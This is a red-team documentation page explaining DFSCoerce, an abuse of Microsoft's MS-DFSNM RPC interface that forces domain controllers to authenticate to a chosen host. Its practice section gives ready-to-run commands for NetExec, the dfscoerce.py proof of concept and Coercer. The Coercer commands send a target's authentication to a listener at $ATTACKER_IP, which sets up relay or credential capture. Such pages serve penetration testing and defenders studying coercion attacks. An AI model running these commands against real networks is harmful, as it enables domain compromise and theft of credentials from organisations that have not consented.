> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/ad/movement/mitm-and-coerced-authentications/ms-dfsnm.md).

# MS-DFSNM abuse (DFSCoerce)

## Theory

MS-DFSNM is Microsoft's Distributed File System Namespace Management protocol. It provides an RPC interface for administering DFS configurations ([docs.microsoft.com](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979)). That interface is available through the `\pipe\netdfs` SMB named pipe.

In mid-2022, [Filip Dragovic](https://twitter.com/filip_dragovic) demonstrated the possibility of abusing the protocol to coerce authentications. Similarly to other MS-RPC abuses, this works by using a specific method relying on remote address. In this case (as of July 6th, 2022), the following methods were detected vulnerable: `NetrDfsRemoveStdRoot` and `NetrDfsAddStdRoot`. It is worth noting this coercion method only works against domain controllers.

## Practice

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{% tab title="Enumerate" %}
[NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to check if the target is vulnerable to DFSCoerce.

```bash
netexec smb <TARGET> -u <USER> -p <PASSWORD> -M dfscoerce
```

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**DFSCoerce**

The following Python proof-of-concept (<https://github.com/Wh04m1001/DFSCoerce>) implements the `NetrDfsRemoveStdRoot` and `NetrDfsAddStdRoot` methods.

```bash
dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
```

**Coercer**

Another alternative is to use the [Coercer](https://github.com/p0dalirius/Coercer/tree/master) tool (python) as follow.

```bash
# Coerce
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN --filter-protocol-name MS-DFSNM -l $ATTACKER_IP -t $TARGET_IP

# Coerce a specific method
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN --filter-method-name NetrDfsRemoveStdRoot -l $ATTACKER_IP -t $TARGET_IP
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979>" %}

{% embed url="<https://github.com/Wh04m1001/DFSCoerce>" %}


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